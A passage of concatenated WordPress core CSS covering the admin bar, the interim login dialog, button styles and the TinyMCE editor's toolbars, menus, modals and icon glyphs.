	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
		margin: 0;
		width: 100%;
		top: auto;
		left: auto;
		position: relative;
	}

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item {
		font-size: 16px;
		padding: 6px 15px 19px 30px;
	}

	#wpadminbar li:hover ul li ul li {
		display: list-item;
	}

	#wpadminbar li#wp-admin-bar-wp-logo,
	#wpadminbar li#wp-admin-bar-updates {
		display: none;
	}

	/* Make submenus full-width at this size */

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
		position: static;
		box-shadow: none;
	}
}

/* Very narrow screens */
@media screen and (max-width: 400px) {
	#wpadminbar li#wp-admin-bar-comments {
		display: none;
	}
}
/*------------------------------------------------------------------------------
 Interim login dialog
------------------------------------------------------------------------------*/

#wp-auth-check-wrap.hidden {
	display: none;
}

#wp-auth-check-wrap #wp-auth-check-bg {
	position: fixed;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 1000010; /* needs to appear above .notification-dialog */
}

#wp-auth-check-wrap #wp-auth-check {
	position: fixed;
	left: 50%;
	overflow: hidden;
	top: 40px;
	bottom: 20px;
	max-height: 415px;
	width: 380px;
	margin: 0 0 0 -190px;
	padding: 30px 0 0;
	background-color: #f0f0f1;
	z-index: 1000011; /* needs to appear above #wp-auth-check-bg */
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
}

@media screen and (max-width: 380px) {
	#wp-auth-check-wrap #wp-auth-check {
		left: 0;
		width: 100%;
		margin: 0;
	}
}

#wp-auth-check-wrap.fallback #wp-auth-check {
	max-height: 180px;
	overflow: auto;
}

#wp-auth-check-wrap #wp-auth-check-form {
	height: 100%;
	position: relative;
	overflow: auto;
	-webkit-overflow-scrolling: touch;
}

#wp-auth-check-form.loading:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	left: 50%;
	top: 50%;
	margin: -10px 0 0 -10px;
	background: url(../images/spinner.gif) no-repeat center;
	background-size: 20px 20px;
	transform: translateZ(0);
}

@media print,
  (min-resolution: 120dpi) {

	#wp-auth-check-form.loading:before {
		background-image: url(../images/spinner-2x.gif);
	}

}

#wp-auth-check-wrap #wp-auth-check-form iframe {
	height: 98%; /* Scrollbar fix */
	width: 100%;
}

#wp-auth-check-wrap .wp-auth-check-close {
	position: absolute;
	top: 5px;
	right: 5px;
	height: 22px;
	width: 22px;
	color: #787c82;
	text-decoration: none;
	text-align: center;
}

#wp-auth-check-wrap .wp-auth-check-close:before {
	content: "\f158";
	font: normal 20px/22px dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased !important;
	-moz-osx-font-smoothing: grayscale;
}

#wp-auth-check-wrap .wp-auth-check-close:hover,
#wp-auth-check-wrap .wp-auth-check-close:focus {
	color: #2271b1;
}

#wp-auth-check-wrap .wp-auth-fallback-expired {
	outline: 0;
}

#wp-auth-check-wrap .wp-auth-fallback {
	font-size: 14px;
	line-height: 1.5;
	padding: 0 25px;
	display: none;
}

#wp-auth-check-wrap.fallback .wp-auth-fallback,
#wp-auth-check-wrap.fallback .wp-auth-check-close {
	display: block;
}
/*! This file is auto-generated */
.wp-core-ui .button,.wp-core-ui .button-primary,.wp-core-ui .button-secondary{display:inline-block;text-decoration:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-core-ui button::-moz-focus-inner,.wp-core-ui input[type=button]::-moz-focus-inner,.wp-core-ui input[type=reset]::-moz-focus-inner,.wp-core-ui input[type=submit]::-moz-focus-inner{border-width:0;border-style:none;padding:0}.wp-core-ui .button-group.button-large .button,.wp-core-ui .button.button-large{min-height:32px;line-height:2.30769231;padding:0 12px}.wp-core-ui .button-group.button-small .button,.wp-core-ui .button.button-small{min-height:26px;line-height:2.18181818;padding:0 8px;font-size:11px}.wp-core-ui .button-group.button-hero .button,.wp-core-ui .button.button-hero{font-size:14px;min-height:46px;line-height:3.14285714;padding:0 36px}.wp-core-ui .button.hidden{display:none}.wp-core-ui input[type=reset],.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:focus,.wp-core-ui input[type=reset]:hover{background:0 0;border:none;box-shadow:none;padding:0 2px 1px;width:auto}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#2271b1;border-color:#2271b1;background:#f6f7f7;vertical-align:top}.wp-core-ui p .button{vertical-align:baseline}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{background:#f6f7f7;border-color:#3582c4;color:#0a4b78;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent;outline-offset:0}.wp-core-ui .button-secondary:active,.wp-core-ui .button:active{background:#f6f7f7;border-color:#8c8f94;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:hover{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}.wp-core-ui .button-disabled,.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled,.wp-core-ui .button-secondary[disabled],.wp-core-ui .button.disabled,.wp-core-ui .button:disabled,.wp-core-ui .button[disabled]{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;cursor:default;transform:none!important}.wp-core-ui .button-secondary[aria-disabled=true],.wp-core-ui .button[aria-disabled=true]{cursor:default}.wp-core-ui .button-link{margin:0;padding:0;box-shadow:none;border:0;border-radius:0;background:0 0;cursor:pointer;text-align:right;color:#2271b1;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover{color:#135e96}.wp-core-ui .button-link:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.wp-core-ui .button-link-delete{color:#d63638}.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#d63638;background:0 0}.wp-core-ui .button-link-delete:disabled{background:0 0!important}.wp-core-ui .button-primary{background:#2271b1;border-color:#2271b1;color:#fff;text-decoration:none;text-shadow:none}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary.hover,.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#135e96;border-color:#135e96;color:#fff}.wp-core-ui .button-primary.focus,.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #2271b1}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover,.wp-core-ui .button-primary:active{background:#135e96;border-color:#135e96;box-shadow:none;color:#fff}.wp-core-ui .button-primary-disabled,.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled,.wp-core-ui .button-primary[disabled]{color:#a7aaad!important;background:#f6f7f7!important;border-color:#dcdcde!important;box-shadow:none!important;text-shadow:none!important;cursor:default}.wp-core-ui .button-primary[aria-disabled=true]{cursor:default}.wp-core-ui .button-group{position:relative;display:inline-block;white-space:nowrap;font-size:0;vertical-align:middle}.wp-core-ui .button-group>.button{display:inline-block;border-radius:0;margin-left:-1px}.wp-core-ui .button-group>.button:first-child{border-radius:0 3px 3px 0}.wp-core-ui .button-group>.button:last-child{border-radius:3px 0 0 3px}.wp-core-ui .button-group>.button-primary+.button{border-right:0}.wp-core-ui .button-group>.button:focus{position:relative;z-index:1}.wp-core-ui .button-group>.button.active{background-color:#dcdcde;color:#135e96;border-color:#0a4b78;box-shadow:inset 0 2px 5px -3px #0a4b78}.wp-core-ui .button-group>.button.active:focus{border-color:#3582c4;box-shadow:inset 0 2px 5px -3px #0a4b78,0 0 0 1px #3582c4}@media screen and (max-width:782px){.wp-core-ui .button,.wp-core-ui .button.button-large,.wp-core-ui .button.button-small,a.preview,input#publish,input#save-post{padding:0 14px;line-height:2.71428571;font-size:14px;vertical-align:middle;min-height:40px;margin-bottom:4px}.wp-core-ui .copy-to-clipboard-container .copy-attachment-url{margin-bottom:0}#media-upload.wp-core-ui .button{padding:0 10px 1px;min-height:24px;line-height:22px;font-size:13px}.media-frame.mode-grid .bulk-select .button{margin-bottom:0}.wp-core-ui .save-post-status.button{position:relative;margin:0 10px 0 14px}.wp-core-ui.wp-customizer .button{font-size:13px;line-height:2.15384615;min-height:30px;margin:0;vertical-align:inherit}.wp-customizer .theme-overlay .theme-actions .button{margin-bottom:5px}.media-modal-content .media-toolbar-primary .media-button{margin-top:10px;margin-right:5px}.interim-login .button.button-large{min-height:30px;line-height:2;padding:0 12px 2px}}/*------------------------------------------------------------------------------
 TinyMCE and Quicklinks toolbars
------------------------------------------------------------------------------*/

/* TinyMCE widgets/containers */

.mce-tinymce {
	box-shadow: none;
}

.mce-container,
.mce-container *,
.mce-widget,
.mce-widget * {
	color: inherit;
	font-family: inherit;
}

.mce-container .mce-monospace,
.mce-widget .mce-monospace {
	font-family: Consolas, Monaco, monospace;
	font-size: 13px;
	line-height: 150%;
}

/* TinyMCE windows */
#mce-modal-block,
#mce-modal-block.mce-fade {
	opacity: 0.7;
	filter: alpha(opacity=70);
	transition: none;
	background: #000;
}

.mce-window {
	border-radius: 0;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	-webkit-font-smoothing: subpixel-antialiased;
	transition: none;
}

.mce-window .mce-container-body.mce-abs-layout {
	overflow: visible;
}

.mce-window .mce-window-head {
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	padding: 0;
	min-height: 36px;
}

.mce-window .mce-window-head .mce-title {
	color: #3c434a;
	font-size: 18px;
	font-weight: 600;
	line-height: 36px;
	margin: 0;
	padding: 0 36px 0 16px;
}

.mce-window .mce-window-head .mce-close,
.mce-window-head .mce-close .mce-i-remove {
	color: transparent;
	top: 0;
	right: 0;
	width: 36px;
	height: 36px;
	padding: 0;
	line-height: 36px;
	text-align: center;
}

.mce-window-head .mce-close .mce-i-remove:before {
	font: normal 20px/36px dashicons;
	text-align: center;
	color: #646970;
	width: 36px;
	height: 36px;
	display: block;
}

.mce-window-head .mce-close:hover .mce-i-remove:before,
.mce-window-head .mce-close:focus .mce-i-remove:before {
	color: #135e96;
}

.mce-window-head .mce-close:focus .mce-i-remove,
div.mce-tab:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-window .mce-window-head .mce-dragh {
	width: calc( 100% - 36px );
}

.mce-window .mce-foot {
	border-top: 1px solid #dcdcde;
}

.mce-textbox,
.mce-checkbox i.mce-i-checkbox,
#wp-link .query-results {
	border: 1px solid #dcdcde;
	border-radius: 0;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.07);
	transition: .05s all ease-in-out;
}

.mce-textbox:focus,
.mce-textbox.mce-focus,
.mce-checkbox:focus i.mce-i-checkbox,
#wp-link .query-results:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-window .mce-wp-help {
	height: 360px;
	width: 460px;
	overflow: auto;
}

.mce-window .mce-wp-help * {
	box-sizing: border-box;
}

.mce-window .mce-wp-help > .mce-container-body {
	width: auto !important;
}

.mce-window .wp-editor-help {
	padding: 10px 10px 0 20px;
}

.mce-window .wp-editor-help h2,
.mce-window .wp-editor-help p {
	margin: 8px 0;
	white-space: normal;
	font-size: 14px;
	font-weight: 400;
}

.mce-window .wp-editor-help table {
	width: 100%;
	margin-bottom: 20px;
}

.mce-window .wp-editor-help table.wp-help-single {
	margin: 0 8px 20px;
}

.mce-window .wp-editor-help table.fixed {
	table-layout: fixed;
}

.mce-window .wp-editor-help table.fixed th:nth-child(odd),
.mce-window .wp-editor-help table.fixed td:nth-child(odd) {
	width: 12%;
}

.mce-window .wp-editor-help table.fixed th:nth-child(even),
.mce-window .wp-editor-help table.fixed td:nth-child(even) {
	width: 38%;
}

.mce-window .wp-editor-help table.fixed th:nth-child(odd) {
	padding: 5px 0 0;
}

.mce-window .wp-editor-help td,
.mce-window .wp-editor-help th {
	font-size: 13px;
	padding: 5px;
	vertical-align: middle;
	word-wrap: break-word;
	white-space: normal;
}

.mce-window .wp-editor-help th {
	font-weight: 600;
	padding-bottom: 0;
}

.mce-window .wp-editor-help kbd {
	font-family: monospace;
	padding: 2px 7px 3px;
	font-weight: 600;
	margin: 0;
	background: #f0f0f1;
	background: rgba(0, 0, 0, 0.08);
}

.mce-window .wp-help-th-center td:nth-child(odd),
.mce-window .wp-help-th-center th:nth-child(odd) {
	text-align: center;
}

/* TinyMCE menus */
.mce-menu,
.mce-floatpanel.mce-popover {
	border-color: rgba(0, 0, 0, 0.15);
	border-radius: 0;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
}

.mce-menu,
.mce-floatpanel.mce-popover.mce-bottom {
	margin-top: 2px;
}

.mce-floatpanel .mce-arrow {
	display: none;
}

.mce-menu .mce-container-body {
	min-width: 160px;
}

.mce-menu-item {
	border: none;
	margin-bottom: 2px;
	padding: 6px 15px 6px 12px;
}

.mce-menu-has-icons i.mce-ico {
	line-height: 20px;
}

/* TinyMCE panel */
div.mce-panel {
	border: 0;
	background: #fff;
}

.mce-panel.mce-menu {
	border: 1px solid #dcdcde;
}

div.mce-tab {
	line-height: 13px;
}

/* TinyMCE toolbars */
div.mce-toolbar-grp {
	border-bottom: 1px solid #dcdcde;
	background: #f6f7f7;
	padding: 0;
	position: relative;
}

div.mce-inline-toolbar-grp {
	border: 1px solid #a7aaad;
	border-radius: 2px;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.15);
	box-sizing: border-box;
	margin-bottom: 8px;
	position: absolute;
	-webkit-user-select: none;
	user-select: none;
	max-width: 98%;
	z-index: 100100; /* Same as the other TinyMCE "panels" */
}

div.mce-inline-toolbar-grp > div.mce-stack-layout {
	padding: 1px;
}

div.mce-inline-toolbar-grp.mce-arrow-up {
	margin-bottom: 0;
	margin-top: 8px;
}

div.mce-inline-toolbar-grp:before,
div.mce-inline-toolbar-grp:after {
	position: absolute;
	left: 50%;
	display: block;
	width: 0;
	height: 0;
	border-style: solid;
	border-color: transparent;
	content: "";
}

div.mce-inline-toolbar-grp.mce-arrow-up:before {
	top: -9px;
	border-bottom-color: #a7aaad;
	border-width: 0 9px 9px;
	margin-left: -9px;
}

div.mce-inline-toolbar-grp.mce-arrow-down:before {
	bottom: -9px;
	border-top-color: #a7aaad;
	border-width: 9px 9px 0;
	margin-left: -9px;
}

div.mce-inline-toolbar-grp.mce-arrow-up:after {
	top: -8px;
	border-bottom-color: #f6f7f7;
	border-width: 0 8px 8px;
	margin-left: -8px;
}

div.mce-inline-toolbar-grp.mce-arrow-down:after {
	bottom: -8px;
	border-top-color: #f6f7f7;
	border-width: 8px 8px 0;
	margin-left: -8px;
}

div.mce-inline-toolbar-grp.mce-arrow-left:before,
div.mce-inline-toolbar-grp.mce-arrow-left:after {
	margin: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-left:before {
	left: 20px;
}
div.mce-inline-toolbar-grp.mce-arrow-left:after {
	left: 21px;
}

div.mce-inline-toolbar-grp.mce-arrow-right:before,
div.mce-inline-toolbar-grp.mce-arrow-right:after {
	left: auto;
	margin: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-right:before {
	right: 20px;
}

div.mce-inline-toolbar-grp.mce-arrow-right:after {
	right: 21px;
}

div.mce-inline-toolbar-grp.mce-arrow-full {
	right: 0;
}

div.mce-inline-toolbar-grp.mce-arrow-full > div {
	width: 100%;
	overflow-x: auto;
}

div.mce-toolbar-grp > div {
	padding: 3px;
}

.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first {
	padding-right: 32px;
}

.mce-toolbar .mce-btn-group {
	margin: 0;
}

/* Classic block hide/show toolbars */
.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child) {
	display: none;
}

.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar {
	display: block;
}

div.mce-statusbar {
	border-top: 1px solid #dcdcde;
}

div.mce-path {
	padding: 2px 10px;
	margin: 0;
}

.mce-path,
.mce-path-item,
.mce-path .mce-divider {
	font-size: 12px;
}

.mce-toolbar .mce-btn,
.qt-dfw {
	border-color: transparent;
	background: transparent;
	box-shadow: none;
	text-shadow: none;
	cursor: pointer;
}

.mce-btn .mce-txt {
	direction: inherit;
	text-align: inherit;
}

.mce-toolbar .mce-btn-group .mce-btn,
.qt-dfw {
	border: 1px solid transparent;
	margin: 2px;
	border-radius: 2px;
}

.mce-toolbar .mce-btn-group .mce-btn:hover,
.mce-toolbar .mce-btn-group .mce-btn:focus,
.qt-dfw:hover,
.qt-dfw:focus {
	background: #f6f7f7;
	color: #1d2327;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-active,
.mce-toolbar .mce-btn-group .mce-btn:active,
.qt-dfw.active {
	background: #f0f0f1;
	border-color: #50575e;
}

.mce-btn.mce-active,
.mce-btn.mce-active button,
.mce-btn.mce-active:hover button,
.mce-btn.mce-active i,
.mce-btn.mce-active:hover i {
	color: inherit;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-active:focus {
	border-color: #1d2327;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
	color: #a7aaad;
	background: none;
	border-color: #dcdcde;
	text-shadow: 0 1px 0 #fff;
	box-shadow: none;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus {
	border-color: #50575e;
}

.mce-toolbar .mce-btn-group .mce-first,
.mce-toolbar .mce-btn-group .mce-last {
	border-color: transparent;
}

.mce-toolbar .mce-btn button,
.qt-dfw {
	padding: 2px 3px;
	line-height: normal;
}

.mce-toolbar .mce-listbox button {
	font-size: 13px;
	line-height: 1.53846153;
	padding-left: 6px;
	padding-right: 20px;
}

.mce-toolbar .mce-btn i {
	text-shadow: none;
}

.mce-toolbar .mce-btn-group > div {
	white-space: normal;
}

.mce-toolbar .mce-colorbutton .mce-open {
	border-right: 0;
}

.mce-toolbar .mce-colorbutton .mce-preview {
	margin: 0;
	padding: 0;
	top: auto;
	bottom: 2px;
	left: 3px;
	height: 3px;
	width: 20px;
	background: #50575e;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary {
	min-width: 0;
	background: #3582c4;
	border-color: #2271b1 #135e96 #135e96;
	box-shadow: 0 1px 0 #135e96;
	color: #fff;
	text-decoration: none;
	text-shadow: none;
}

/* Compensate for the extra box shadow at the bottom of .mce-btn.mce-primary */
.mce-toolbar .mce-btn-group .mce-btn.mce-primary button {
	padding: 2px 3px 1px;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico {
	color: #fff;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
	background: #4f94d4;
	border-color: #135e96;
	color: #fff;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus {
	box-shadow: 0 0 1px 1px #72aee6;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-primary:active {
	background: #2271b1;
	border-color: #135e96;
	box-shadow: inset 0 2px 0 #135e96;
}

/* mce listbox */
.mce-toolbar .mce-btn-group .mce-btn.mce-listbox {
	border-radius: 0;
	direction: ltr;
	background: #fff;
	border: 1px solid #dcdcde;
}

.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover,
.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.mce-panel .mce-btn i.mce-caret {
	border-top: 6px solid #50575e;
	margin-left: 2px;
	margin-right: 2px;
}

.mce-listbox i.mce-caret {
	right: 4px;
}

.mce-panel .mce-btn:hover i.mce-caret,
.mce-panel .mce-btn:focus i.mce-caret {
	border-top-color: #1d2327;
}

.mce-panel .mce-active i.mce-caret {
	border-top: 0;
	border-bottom: 6px solid #1d2327;
	margin-top: 7px;
}

.mce-listbox.mce-active i.mce-caret {
	margin-top: -3px;
}

.mce-toolbar .mce-splitbtn:hover .mce-open {
	border-right-color: transparent;
}

.mce-toolbar .mce-splitbtn .mce-open.mce-active {
	background: transparent;
	outline: none;
}

.mce-menu .mce-menu-item:hover,
.mce-menu .mce-menu-item.mce-selected,
.mce-menu .mce-menu-item:focus,
.mce-menu .mce-menu-item.mce-active.mce-menu-item-normal,
.mce-menu .mce-menu-item.mce-active.mce-menu-item-preview {
	background: #2271b1; /* See color scheme. */
	color: #fff;
}

.mce-menu .mce-menu-item:hover .mce-caret,
.mce-menu .mce-menu-item:focus .mce-caret,
.mce-menu .mce-menu-item.mce-selected .mce-caret {
	border-left-color: #fff;
}

/* rtl:ignore */
.rtl .mce-menu .mce-menu-item:hover .mce-caret,
.rtl .mce-menu .mce-menu-item:focus .mce-caret,
.rtl .mce-menu .mce-menu-item.mce-selected .mce-caret {
	border-left-color: inherit;
	border-right-color: #fff;
}

.mce-menu .mce-menu-item:hover .mce-text,
.mce-menu .mce-menu-item:focus .mce-text,
.mce-menu .mce-menu-item:hover .mce-ico,
.mce-menu .mce-menu-item:focus .mce-ico,
.mce-menu .mce-menu-item.mce-selected .mce-text,
.mce-menu .mce-menu-item.mce-selected .mce-ico,
.mce-menu .mce-menu-item:hover .mce-menu-shortcut,
.mce-menu .mce-menu-item:focus .mce-menu-shortcut,
.mce-menu .mce-menu-item.mce-active .mce-menu-shortcut,
.mce-menu .mce-menu-item.mce-disabled:hover .mce-text,
.mce-menu .mce-menu-item.mce-disabled:hover .mce-ico {
	color: inherit;
}

.mce-menu .mce-menu-item.mce-disabled {
	cursor: default;
}

.mce-menu .mce-menu-item.mce-disabled:hover {
	background: #c3c4c7;
}

/* Menubar */
div.mce-menubar {
	border-color: #dcdcde;
	background: #fff;
	border-width: 0 0 1px;
}

.mce-menubar .mce-menubtn:hover,
.mce-menubar .mce-menubtn.mce-active,
.mce-menubar .mce-menubtn:focus {
	border-color: transparent;
	background: transparent;
}

.mce-menubar .mce-menubtn:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

div.mce-menu .mce-menu-item-sep,
.mce-menu-item-sep:hover {
	border-bottom: 1px solid #dcdcde;
	height: 0;
	margin: 5px 0;
}

.mce-menubtn span {
	margin-right: 0;
	padding-left: 3px;
}

.mce-menu-has-icons i.mce-ico:before {
	margin-left: -2px;
}

/* Keyboard shortcuts position */
.mce-menu.mce-menu-align .mce-menu-item-normal {
	position: relative;
}

.mce-menu.mce-menu-align .mce-menu-shortcut {
	bottom: 0.6em;
	font-size: 0.9em;
}

/* Buttons in modals */
.mce-primary button,
.mce-primary button i {
	text-align: center;
	color: #fff;
	text-shadow: none;
	padding: 0;
	line-height: 1.85714285;
}

.mce-window .mce-btn {
	color: #50575e;
	background: #f6f7f7;
	text-decoration: none;
	font-size: 13px;
	line-height: 26px;
	height: 28px;
	margin: 0;
	padding: 0;
	cursor: pointer;
	border: 1px solid #c3c4c7;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-shadow: 0 1px 0 #c3c4c7;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.mce-window .mce-btn::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.mce-window .mce-btn:hover,
.mce-window .mce-btn:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.mce-window .mce-btn:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.mce-window .mce-btn:active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
	transform: translateY(1px);
}

.mce-window .mce-btn.mce-disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	text-shadow: 0 1px 0 #fff !important;
	cursor: default;
	transform: none !important;
}

.mce-window .mce-btn.mce-primary {
	background: #3582c4;
	border-color: #2271b1 #135e96 #135e96;
	box-shadow: 0 1px 0 #135e96;
	color: #fff;
	text-decoration: none;
	text-shadow: 0 -1px 1px #135e96,
		1px 0 1px #135e96,
		0 1px 1px #135e96,
		-1px 0 1px #135e96;
}

.mce-window .mce-btn.mce-primary:hover,
.mce-window .mce-btn.mce-primary:focus {
	background: #4f94d4;
	border-color: #135e96;
	color: #fff;
}

.mce-window .mce-btn.mce-primary:focus {
	box-shadow: 0 1px 0 #2271b1,
		0 0 2px 1px #72aee6;
}

.mce-window .mce-btn.mce-primary:active {
	background: #2271b1;
	border-color: #135e96;
	box-shadow: inset 0 2px 0 #135e96;
	vertical-align: top;
}

.mce-window .mce-btn.mce-primary.mce-disabled {
	color: #9ec2e6 !important;
	background: #4f94d4 !important;
	border-color: #3582c4 !important;
	box-shadow: none !important;
	text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.1) !important;
	cursor: default;
}

.mce-menubtn.mce-fixed-width span {
	overflow-x: hidden;
	text-overflow: ellipsis;
	width: 82px;
}

/* Charmap modal */
.mce-charmap {
	margin: 3px;
}

.mce-charmap td {
	padding: 0;
	border-color: #dcdcde;
	cursor: pointer;
}

.mce-charmap td:hover {
	background: #f6f7f7;
}

.mce-charmap td div {
	width: 18px;
	height: 22px;
	line-height: 1.57142857;
}

/* TinyMCE tooltips */
.mce-tooltip {
	margin-top: 2px;
}

.mce-tooltip-inner {
	border-radius: 3px;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
	color: #fff;
	font-size: 12px;
}

/* TinyMCE icons */
.mce-ico {
	font-family: tinymce, Arial;
}

.mce-btn-small .mce-ico {
	font-family: tinymce-small, Arial;
}

.mce-toolbar .mce-ico {
	color: #50575e;
	line-height: 1;
	width: 20px;
	height: 20px;
	text-align: center;
	text-shadow: none;
	margin: 0;
	padding: 0;
}

.qt-dfw {
	color: #50575e;
	line-height: 1;
	width: 28px;
	height: 26px;
	text-align: center;
	text-shadow: none;
}

.mce-toolbar .mce-btn .mce-open {
	line-height: 20px;
}

.mce-toolbar .mce-btn:hover .mce-open,
.mce-toolbar .mce-btn:focus .mce-open,
.mce-toolbar .mce-btn.mce-active .mce-open {
	border-left-color: #1d2327;
}

div.mce-notification {
	left: 10% !important;
	right: 10%;
}

.mce-notification button.mce-close {
	right: 6px;
	top: 3px;
	font-weight: 400;
	color: #50575e;
}

.mce-notification button.mce-close:hover,
.mce-notification button.mce-close:focus {
	color: #000;
}

i.mce-i-bold,
i.mce-i-italic,
i.mce-i-bullist,
i.mce-i-numlist,
i.mce-i-blockquote,
i.mce-i-alignleft,
i.mce-i-aligncenter,
i.mce-i-alignright,
i.mce-i-link,
i.mce-i-unlink,
i.mce-i-wp_more,
i.mce-i-strikethrough,
i.mce-i-spellchecker,
i.mce-i-fullscreen,
i.mce-i-wp_fullscreen,
i.mce-i-dfw,
i.mce-i-wp_adv,
i.mce-i-underline,
i.mce-i-alignjustify,
i.mce-i-forecolor,
i.mce-i-backcolor,
i.mce-i-pastetext,
i.mce-i-pasteword,
i.mce-i-removeformat,
i.mce-i-charmap,
i.mce-i-outdent,
i.mce-i-indent,
i.mce-i-undo,
i.mce-i-redo,
i.mce-i-help,
i.mce-i-wp_help,
i.mce-i-wp-media-library,
i.mce-i-ltr,
i.mce-i-wp_page,
i.mce-i-hr,
i.mce-i-wp_code,
i.mce-i-dashicon,
i.mce-i-remove {
	font: normal 20px/1 dashicons;
	padding: 0;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	margin-left: -2px;
	padding-right: 2px;
}

.qt-dfw {
	font: normal 20px/1 dashicons;
	vertical-align: top;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

i.mce-i-bold:before {
	content: "\f200";
}

i.mce-i-italic:before {
	content: "\f201";
}

i.mce-i-bullist:before {
	content: "\f203";
}

i.mce-i-numlist:before {
	content: "\f204";
}

i.mce-i-blockquote:before {
	content: "\f205";
}

i.mce-i-alignleft:before {
	content: "\f206";
}

i.mce-i-aligncenter:before {
	content: "\f207";
}

i.mce-i-alignright:before {
	content: "\f208";
}

i.mce-i-link:before {
	content: "\f103";
}

i.mce-i-unlink:before {
	content: "\f225";
}

i.mce-i-wp_more:before {
	content: "\f209";
}

i.mce-i-strikethrough:before {
	content: "\f224";
}

i.mce-i-spellchecker:before {
	content: "\f210";
}

i.mce-i-fullscreen:before,
i.mce-i-wp_fullscreen:before,
i.mce-i-dfw:before,
.qt-dfw:before {
	content: "\f211";
}

i.mce-i-wp_adv:before {
	content: "\f212";
}

i.mce-i-underline:before {
	content: "\f213";
}

i.mce-i-alignjustify:before {
	content: "\f214";
}

i.mce-i-forecolor:before,
i.mce-i-backcolor:before {
	content: "\f215";
}

i.mce-i-pastetext:before {
	content: "\f217";
}

i.mce-i-removeformat:before {
	content: "\f218";
}

i.mce-i-charmap:before {
	content: "\f220";
}

i.mce-i-outdent:before {
